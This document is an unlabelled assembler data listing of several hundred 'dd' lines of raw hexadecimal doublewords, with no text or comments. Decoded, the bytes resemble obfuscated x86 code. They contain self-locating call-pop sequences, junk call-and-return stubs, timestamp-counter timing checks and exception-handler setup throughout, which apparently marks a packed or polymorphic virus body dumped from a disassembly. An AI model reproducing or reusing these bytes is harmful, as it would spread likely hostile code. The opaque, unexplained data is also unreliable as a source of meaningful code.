		dd 0ED07A31Ah, 53FDA90Ah, 585AD4D1h, 23BB008Bh,	8964B335h
		dd 0E8042444h, 12h, 0CC1014AFh,	4610F6Bh, 0A8404E54h, 0E45FB6C5h
		dd 0E8604793h, 10h, 0EB34A301h,	0FF56CE85h, 0F9D2386h
		dd 5C380D63h, 585F6159h, 2875BD8Bh, 858D06ACh, 6AFB21Dh
		dd 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 8CC35242h, 96C9D9ADh
		dd 6070903Fh, 20D59D89h, 0B58906ACh, 6AC0665h, 659D0B61h
		dd 5006AC08h, 0F5B26060h, 0FE8h, 0F9E22E00h, 48B38B64h
		dd 0DD93BABBh, 95DE9B58h, 0E9606159h, 0Fh, 935FFB74h, 204F1C50h
		dd 0E24A9477h, 61144C7Dh, 24048961h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 45C35747h, 1E485F9h, 10E8B6h
		dd 62AF0000h, 45B2B821h, 0B6FC9B06h, 3D0352C0h,	0BD8BB14Ah
		dd 6AC0885h, 0BD95FF5Bh, 6006AC09h, 1919D01h, 10E806ACh
		dd 95000000h, 0AA3F9094h, 0AA7EE086h, 3F6C85Fh,	6694FC41h
		dd 64E0C081h, 8161615Fh, 91929DD3h, 0F185C702h,	306AC27h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 0B975C355h, 8392C5BCh,	0AFB21DBDh
		dd 840F0006h, 55h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 6EC35646h, 0F82561Bh,	0F381F9BFh, 5973D684h
		dd 43E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 0B1F4579Bh, 541512E2h, 0D6C38166h
		dd 0C305049h, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 8ED4BB66h, 0D852960h, 3106AC01h,	0AC1A158Dh
		dd 0BD036106h, 6AC267Dh, 7CB2DEBBh, 0F1BD8322h,	306AC27h
		dd 438850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 0B3B0D3C3h, 836F29DFh, 0AFB21DBDh
		dd 840F0006h, 40Ah, 0FF85EB80h,	0AFB21DB5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0BEDC77F8h, 7B9358E5h, 840F8ABEh, 6,	95BD8Bh, 95FF06ACh
		dd 6AC09C5h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	8C35141h, 33935010h, 68A0F62h, 8B000000h, 0AC120DBDh
		dd 0CF89BF06h, 0B58B3A55h, 6AFB211h, 0AEE78166h, 106C765h
		dd 6A000100h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 0B470C350h, 0D42C7131h, 27F09600h
		dd 6E9h, 74E0DC00h, 669B4389h, 96CF41BFh, 6A9650h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0BF00AC3h, 0FFDBF380h, 0AFB21DB5h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
		dd 0F4CDF5F7h, 80D10757h, 10E9523Ch, 64000000h,	4E5A891Dh
		dd 0A5230E2Eh, 56C3EF83h, 5BE09D9Ah, 1F5595FFh,	9D3306ACh
		dd 6AC2561h, 0B211B58Bh, 0BF6606AFh, 858BD460h,	6AC00E5h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0B8C35343h
		dd 9E64C65Eh, 0EBF78071h, 0C48689h, 5F500000h, 2F0D958Bh
		dd 870F06ACh, 0Eh, 9E9h, 291E2A00h, 9D451378h, 0C2834071h
		dd 57006A04h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 422DC92Eh, 81205089h, 2CE1DDD3h,	0FE927h
		dd 4FB20000h, 376D6E6h,	0FC6F8DC1h, 29C9C20Ah, 1E858D21h
		dd 6A06AFC7h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 6163C355h, 0F414F310h,	0B88689h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 0E4BF2CC3h, 6050A8F3h, 240DBD8Bh,	8B6606ACh
		dd 0BB5F61F1h, 5A231D4Dh, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 0D71C0C3h, 46716B6Eh
		dd 45B58916h, 0FF06AC00h, 0AFB21DB5h, 8E906h, 0B3FA0000h
		dd 0F8E43609h, 95FFF3F6h, 6AC0DA5h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 11C35747h, 0BED63E1Ch, 84C446BFh
		dd 958D0157h, 5F06AC08h, 26D59D8Bh, 605006ACh, 8961D88Bh
		dd 0BD0B2434h, 6AC07B1h, 2870Fh, 0F98B0000h, 0B21DB5FFh
		dd 9D2306AFh, 6AC2B61h,	90D95FFh, 83FC06ACh, 0AC0B61BDh
		dd 840F0006h, 1Bh, 5F5696F5h, 52505050h, 0A6A226BBh, 60310F4Dh
		dd 5F585A61h, 3D958996h, 0FF06AC30h, 0AFB21DB5h, 12890F06h
		dd 0E8000000h, 0Bh, 0F3D1F8A5h,	0CDA63D07h, 0F950A9A7h
		dd 3595FF5Bh, 8906AC21h, 0AC1A4595h, 1DB5FF06h,	6A06AFB2h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 5769C353h, 30E161A2h, 0B7A9F44Fh,	2880Fh
		dd 27B70000h, 19077FBFh, 0B9BD3161h, 0FF06AC0Ah, 0AC14D995h
		dd 0D58D2906h, 8B06AC0Dh, 0E9BD83DFh, 206AC01h,	77840Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 63D40DC3h, 43CF3740h, 559D8B81h, 8B06AC30h
		dd 0AC05A985h, 50006A06h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 6735B366h, 89A777F9h
		dd 0AC32699Dh, 0C606h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 8AC35141h, 185C764h, 6AC30h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 567AC350h, 782E103h, 5DE91052h, 6AFFFFF2h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 3197C357h, 3881ECF2h, 8D9E48A0h, 1315BD8Bh
		dd 0C18B06ACh, 0D9D8B51h, 5B06AC05h, 2741858Dh,	6A06ACh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 3C17CBC3h, 90FB93D8h, 0B6D8BB50h, 6A904F5Dh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 8805C355h, 1FEAF165h, 0EE890h, 1F6E0000h, 648579F4h
		dd 0FBC57757h, 6E9C20AEh, 135D8D89h, 0F5B06ACh,	68Fh, 0FD9D8B00h
		dd 6A06AC25h, 0C99D8900h, 6A06AC30h, 5860F00h, 66000000h
		dd 9996DB81h, 5800Fh, 81660000h, 8DAC6CCBh, 0B0E38885h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 0EB8166EAh, 0B70FBC43h, 5C083D8h, 0C2816660h
		dd 66562B90h, 5B3964B9h, 0BF665061h, 4894BB1h, 13E924h
		dd 0C7470000h, 0F4541A94h, 0C4CFE29Ch, 0DB40177Fh, 0E84F748Eh
		dd 6A006AF2h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 5C87C350h, 0F40B67Ch, 1981h, 13830F00h
		dd 0E9000000h, 0Eh, 8FF1F0F0h, 0FCB48D44h, 0C33A4199h
		dd 6A1233h, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 19h,	32C35141h, 4BB8C09Ch, 6E95Fh, 85B0000h,	37A58FD8h
		dd 0AF995FFh, 880F06ACh, 4, 16ECBF66h, 8B808D8Dh, 8B6606AFh
		dd 0FE8B66DFh, 6AD1FFh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 44EFEEC3h, 3DC619EDh, 0BE82Fh, 0E74C0000h
		dd 0CA3C8997h, 179D7BC8h
		dd 21BD898Eh, 5F06AC21h, 161BD83h, 0F0106ACh, 9785h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 38574F29h, 3B5112A6h, 26AF30Ch, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 0DEC35747h,	0E8525050h, 0Ch
		dd 8CD45890h, 77B5AC4h,	7B378C75h, 0F5B9DB3h, 5ADE8B31h
		dd 24048958h, 38C0Fh, 0B70F0000h, 0A595FFFBh, 6A06AC0Dh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 5188C350h, 99D13EF1h, 3F0482CCh, 0E3EE9h
		dd 0E800h, 815D0000h, 0B0E392EDh, 15860F06h, 60000000h
		dd 8E8h, 0F8C5A200h, 665B07F1h,	39B959A4h, 6126F328h, 1DD59D89h
		dd 858D06ACh, 6AF7E3Bh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 68C35747h, 24BF30FEh,	66709170h, 9423EF81h
		dd 3279B509h, 8B5006ACh, 240489D9h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 60C35545h, 9F1AE1EBh, 10B58D89h
		dd 0FF6406ACh, 35h, 0CCBF5100h,	5B5DA7D6h, 258964h, 0F000000h
		dd 686h, 0B19D8B00h, 0FF06AC11h, 0AC337585h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 9BD78A12h, 66F98A60h, 808AE881h, 6AFF6A61h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0A1F7C357h, 0DF8B6605h, 13E8h, 69961B00h, 0F62536D8h
		dd 0B521A966h, 15A525EFh, 0DDE07B8Dh, 13D1B531h, 0FF5B06ACh
		dd 0AC271DB5h, 56006A06h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 0FE8AC0D8h, 6995FFFCh
		dd 0E906AC20h, 13Bh, 5E9h, 4E152C00h, 0B0B3F7h,	0E6FA8B66h
		dd 71E4FC70h, 14FD8D31h, 613C06ACh, 119830Fh, 8B660000h
		dd 0C8B60FF9h, 5E8h, 34164A00h,	0E380473Ch, 6BA5B28h, 0F8000000h
		dd 9E9C18Bh, 0CD000000h, 0E88DB0ADh, 0D557C240h, 8104E8C1h
		dd 0DF8DBBF7h, 6688B771h, 9D8BE2F7h, 6AC2025h, 695BD0Bh
		dd 0C82B06ACh, 14E8h, 601FBA00h, 0AD3AF38Eh, 527C9827h
		dd 54F3D087h, 3DE28AEFh, 0FE8B6653h, 8BD18B5Bh,	0AC064DBDh
		dd 0A9E906h, 0CE80000h,	77000000h, 63BCAFA5h, 5ADEC6E8h
		dd 0F8AA46FDh, 4858B5Fh, 0E9000000h, 0Dh, 5E7E2CF3h, 70C2F4Ch
		dd 0FAA2864Ch, 7C083ECh, 0C083F5h, 3BDABF0Fh, 10830FD0h
		dd 0F000000h, 28Ah, 0E9D88A00h,	5Fh, 8B70F380h,	0FFFFFF8Dh
		dd 12E9FFh, 36410000h, 784922ACh, 62E7B133h, 50AC2C69h
		dd 6898037Fh, 0F01E183h, 3684h,	0FFA58300h, 0FEFFFFFFh
		dd 11E957h, 62A0000h, 46F8532h,	4557F24Ah, 0C62586A9h
		dd 5BE7F331h, 49589h, 9D8B0000h, 6AC2851h, 3541BD23h, 0E906ACh
		dd 8D000000h, 0B06224B5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0D36B60E2h
		dd 8A9059D4h, 128DBD8Bh, 6A06ACh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 69C35343h, 0AEF28B45h, 4595FF79h
		dd 8106AC21h, 494140C7h, 1104B909h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0A8DEA4C3h
		dd 0EA17D9C3h, 83579785h, 6AFCE1h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 60A838C3h, 18C0Fh, 8BF80000h
		dd 0AC0BB185h, 6AFC6106h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 7E63C352h, 6503BACBh
		dd 0B8884A9Ah, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0B1C35343h
		dd 0CF565E08h, 0C381A368h, 73F638D5h, 0BAh, 0D3816600h
		dd 33AD809Bh, 3E8D1C2h,	4E983D0h, 5260F475h, 0E85AFE8Ah
		dd 11h,	0A6E3C483h, 0C0696E1Bh,	2C02B2CFh, 68FBCF7Fh, 8A0F5Fh
		dd 5A000000h, 53006A61h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 3C71A12Bh, 14E92E92h, 0C9000000h
		dd 0AB0DDCFCh, 53505037h, 36C4689Ah, 7A2AB869h,	0DE652F5h
		dd 88h,	0D958BF8h, 8906AC2Fh, 0AC070D9Dh, 58D8B06h, 6A06AC1Eh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 285CC351h, 74245C4Fh, 0F9EF591Dh,	50FEBF0Fh
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	0F9F38158h
		dd 6A292A66h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 8290C357h, 11E92020h, 0EB000000h
		dd 1778EDFDh, 3902E183h, 0F972B572h, 6D29ED54h,	1229BD83h
		dd 0F0006ACh, 9284h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 96864838h, 0D4AB2CEEh
		dd 0BF0F9131h, 0B8DFh, 6A0000h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 0D4F0EDC3h, 0BBD0DFA4h
		dd 39F04E2h, 0AC3319BDh, 0CA816006h, 4CF15116h,	61C78B66h
		dd 4E338D8Dh, 6A06ACh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 8BA095C3h, 0AC05419Dh, 66E1FF06h
		dd 8349FDBBh, 0AC27F1BDh, 840F0006h, 3ECh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0E9C35343h, 0F1BD8301h
		dd 106AC27h, 3DD840Fh, 85890000h, 6AC2DA5h, 27F1BD83h
		dd 0F0306ACh, 39486h, 6E900h, 213E0000h, 22706DBCh, 57006A60h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 69383034h, 36BF663Ah, 0D98C66CCh, 2E0DBD8Bh,	0E18006ACh
		dd 56006A04h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 0C6BF3E17h, 0FC90AFCh, 12384h, 0BCCF8100h
		dd 8B612EB5h, 0AC32B985h, 0E99D2906h, 3306AC05h, 0AC19E985h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 48AA162h, 6B6ED381h, 50904945h, 0FE9h, 14460F00h
		dd 362F96F9h, 8DD03B2h,	2B001F9Ah, 0DFD9BB90h, 66561692h
		dd 6A5FFB8Bh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 259D097Fh, 6806AC1Ah, 4076A7A2h
		dd 13E95250h, 0D1000000h, 3EDDB169h, 12DE8E25h,	7DFB6239h
		dd 0F06712Bh, 310F16D2h, 3481585Ah, 69A45D24h, 57006A40h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0F8795140h, 897E0B5h, 0BD8B20F4h, 6AC10ADh, 9BD95FFh
		dd 816606ACh, 89BDD1DBh, 0AFB21D85h, 9E806h, 67A90000h
		dd 90E018BDh, 0BB66A36Bh, 1A7D3D23h, 1D8E95Bh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 958994C3h, 6AC063Dh,	0B215858Bh, 858906AFh, 6AC265Dh
		dd 1800C7h, 0B5890000h,	6AC2211h, 0B219B58Bh, 6A06AFh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 38C6DAC3h, 0EA18BB66h, 8BDF8B66h, 0AC00A985h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 0CBD45533h, 5E928h, 25040000h, 8BA17BACh, 0AC1949BDh
		dd 6A068906h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 30A3C352h, 68AD3531h, 8A0Fh, 858B0000h
		dd 6AC32B9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	9CC35646h, 1A31CF95h, 5B76BE4Fh, 15BD8BE7h, 5706AC15h
		dd 68EB8166h, 89F85F32h, 6A0446h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 97CBB1C3h, 8E94Dh, 80D80000h
		dd 0A2FB393Dh, 0BF50C05Dh, 5C68B511h, 8B243489h, 15B5FFFEh
		dd 6A06AFB2h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 0B6C2C355h, 0FE5EA07Eh, 0A62ED66Eh
		dd 24F19D8Bh, 3F6806ACh, 0BBF7BF06h, 621CBF1h, 0C0240481h
		dd 8D085FFDh, 0AFB21D85h, 68F0F06h, 89000000h, 0AC1EA1B5h
		dd 0EE99006h, 72000000h, 54F972B5h, 3B6D29EDh, 894AA578h
		dd 66515049h, 5F871FBFh, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 24DD0753h, 4C5C3757h
		dd 95FFE2C5h, 6AC09BDh,	8D99D89h, 816106ACh, 0A0E239DBh
		dd 7565BB06h, 85C74338h, 6AC27F1h, 3, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 0FC35343h, 0BD835B52h, 6AFB21Dh
		dd 16840F00h, 0F000000h, 587h, 0E7816600h, 21E935BEh, 8B000000h
		dd 0AC34CD9Dh, 0C305006h, 11440011h, 10E8C101h,	2114430h
		dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
		dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 67C35242h, 8C3A7055h,	8B8239F2h, 0A18D89FEh
		dd 8306AC23h, 0AC27F1BDh, 850F0306h, 44Dh, 14DD8D89h, 0BD8306ACh
		dd 6AFB21Dh, 3A840F00h,	8B000004h, 0AC26919Dh, 1DB5FF06h
		dd 6A06AFB2h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 6806C351h, 296D18A0h, 0AC33A5B5h
		dd 0C595FF06h, 6A06AC09h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 0B154C350h,	0F064D042h
		dd 5C9BD89h, 0B58B06ACh, 6AFB211h, 1FA9BD29h, 0C7FC06ACh
		dd 1000106h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 89502B45h, 6A2434h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 65D7C4C3h
		dd 81CF65A6h, 895860B9h, 0AC2641B5h, 159D8B06h,	0FF06AC11h
		dd 0AFB21DB5h, 0B9BD8B06h, 0FF06AC21h, 0AC1F5595h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 0B58BF5A0h, 6AFB211h, 0CF6C56BBh, 0E5858B6Bh, 6A06AC00h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 57EAC357h, 40DB82ADh, 8B66B37Fh, 0C48689DEh
		dd 0E8000000h, 14h, 0FA93A978h,	0D2AE1D93h, 0B5030ABFh
		dd 2DBA95F9h, 0F14B1A75h, 11A5BD8Bh, 8B5F06ACh,	0AC2F0D95h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 89D8200Ah, 0AC0E45BDh, 4C28306h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 29C35545h, 9C036305h
		dd 205089A3h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Bh,	0CC35040h
		dd 0FFA3929Bh, 8B4B4D8Dh, 0AC1F85BDh, 75BD8906h, 8D06AC08h
		dd 0AFC71E85h, 50006A06h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 306B5F43h, 18DAE269h
		dd 6810Fh, 9D8B0000h, 6AC2789h,	0B88689h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0A4D2A5C3h, 6A7C4Dh,	151DB501h, 0B5FF06ACh, 6AFB21Dh
		dd 0DBDBD89h, 95FF06ACh, 6AC0DA5h, 0A6499BBBh, 12E94Dh
		dd 74330000h, 0BB0EB692h, 0CCA31930h, 7AC67C8Ch, 65442799h
		dd 5019B396h, 0FE26BF66h, 12E996h, 6410000h, 1406B45Fh
		dd 0A922CC39h, 0A13BD485h, 0CF98F0E1h, 0B21DB5FFh, 816606AFh
		dd 0FF7D18EFh, 0AC090D95h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 8BBEB394h
		dd 61BD83FAh, 6AC0Bh, 50840Fh, 81BB0000h, 967209FBh, 14E8h
		dd 552BB100h, 59C8D9Ch,	93BB7F78h, 0E35A9CCCh, 1A962ADCh
		dd 3FBB60AEh, 0E81DBD69h, 6, 3472FE9Ah,	615926F8h, 850F505Bh
		dd 3, 96DA8B66h, 8F99D8Bh, 820F06ACh, 6, 25699589h, 0B5FF06ACh
		dd 6AFB21Dh, 2A9D9D29h,	95FF06ACh, 6AC2135h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0FBC35040h, 0B5FFDE8Bh
		dd 6AFB21Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 15h,	7CC35646h, 499D89ADh, 8B06AC1Ch, 0AC32C5BDh, 0D995FF06h
		dd 6A06AC14h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 0F87C350h, 680h, 159D0900h, 8306AC1Dh
		dd 0AC01E9BDh, 840F0206h, 65h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 1EC35343h, 0BBC734EFh, 669E139Bh
		dd 3519BD8Bh, 0BD0306ACh, 6AC1B75h, 5A9858Bh, 0BD0B06ACh
		dd 6AC2955h, 6A0000C6h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 0FB4AC357h,	3810Fh
		dd 0B70F0000h, 185C7FBh, 6AC30h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 2B7AC353h
		dd 8B21AD64h, 0F2EFE9FEh, 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 0FCE655C3h, 0F79C57D3h
		dd 0E5806041h, 6DB58968h, 6106AC20h, 6AC18Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 2E32B9C3h
		dd 8D85FB8Ah, 0AC274185h, 31858906h, 9006AC11h,	759C4ABFh
		dd 8B665033h, 6A90DEh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 646C59C3h, 0D4E7031Ch, 0E1CF8166h
		dd 6A006A9Bh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 4767C351h, 12DBD8Bh, 0BD8B06ACh
		dd 6AC0855h, 8B66006Ah,	0DB858DFEh, 6A06B0F3h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 1FD1C357h, 5AABCA31h, 0E94C05B8h, 0Ch, 0B6F09F73h, 0D2C29D5Ch
		dd 6203294Bh, 0BF05C083h, 2FE247B9h, 52506090h,	310FADB6h
		dd 310F5250h, 585A585Ah, 5061C78Bh, 0BE9h, 0FD411200h
		dd 7D23A6FBh, 80585CC3h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 0E107A70Bh, 1E83DEh, 0BEEF8166h
		dd 8D23605Ch, 6AC1781h,	0DC4CBA66h, 2B006A61h, 0AC0045BDh
		dd 0F9006A06h, 0AF995FFh, 6A06ACh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 0DBF365C3h, 0A00DEBBBh
		dd 808D8D43h, 6A06AF8Bh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 2973C357h, 0D1FF95BBh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0F9C35646h
		dd 0B4EC5763h, 668F43DDh, 619D8BA0h, 8306AC30h,	0AC0161BDh
		dd 850F0106h, 73h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 6BC35545h, 6AFCC04Bh,	0D98B6602h, 0A9BB6690h
		dd 8B6650DBh, 896090DEh, 0AC10AD95h, 2810F06h, 0B1000000h
		dd 95FF61D6h, 6AC0DA5h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0C7C35646h, 5227477Eh, 2C95A3F0h, 0DEB70F38h
		dd 118589F9h, 0E906AC33h, 0DB9h, 0E8h, 0ED815D00h, 6B0F3E5h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0B1C35343h
		dd 81A2B796h, 990B7116h, 2E899D8Bh, 21BF06ACh, 6A4D2175h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 55EC353h,	858D7D92h, 6AF7E3Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0E8C35141h, 23DF6D85h
		dd 0B30E3E04h, 1C999D8Bh, 605006ACh, 5250CF8Bh,	0CFE7F5BAh
		dd 66310F0Dh, 5A7E54BBh, 4896158h, 0FA8B6624h, 35FF64h
		dd 8B000000h, 0AC11DD9Dh, 25896406h, 0
		dd 337585FFh, 6A06ACh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 0F2D69C3h, 0FF6ADEBFh, 0FFD8BF0Fh
		dd 0AC33E5B5h, 57006A06h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 933DA21Bh, 0A3F7800Eh
		dd 206995FFh, 0F8E906ACh, 0E9000000h, 11h, 0CD1800B6h
		dd 52D129D9h, 5D99704Ah, 0B9794085h, 2900B028h,	0AC33C195h
		dd 8970E606h, 0AC33D995h, 6671E406h, 1ABADF81h,	830F613Ch
		dd 0C3h, 1E219589h, 0DF8B06ACh,	8AC8B60Fh, 6BAFCh, 0F600000h
		dd 687h, 0D58D8900h, 6106AC31h,	8166C18Bh, 0C11FDBE3h
		dd 235604E8h, 0AC1129BDh, 0F7665B06h, 6EDF81E2h, 2B2D733Ch
		dd 0CF8166C8h, 0D18B2F7Fh, 3DF78166h, 75E955h, 0BF660000h
		dd 858B42FAh, 5F4C4C44h, 9860Fh, 0F5600000h, 8E0Fh, 83610000h
		dd 0AE907C0h, 6000000h,	117E096Bh, 9857AF06h, 0C083CCh
		dd 2F05BD89h, 0D03B06ACh, 11830Fh, 9D8B0000h, 6AC0571h
		dd 2EE9h, 919D3300h, 8B06AC19h,	0FFFFFF8Dh, 83FB8BFFh
		dd 840F01E1h, 17h, 0FFA583FCh, 0FEFFFFFFh, 4C449589h, 0BB665F4Ch
		dd 0E96008h, 8D000000h,	0B07328B5h, 95895106h, 6AC10A5h
		dd 6A006A5Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 7F66C355h, 11C49959h, 2993AEECh
		dd 0AC114DB5h, 4595FF06h, 0B906AC21h, 106Eh, 0E855006Ah
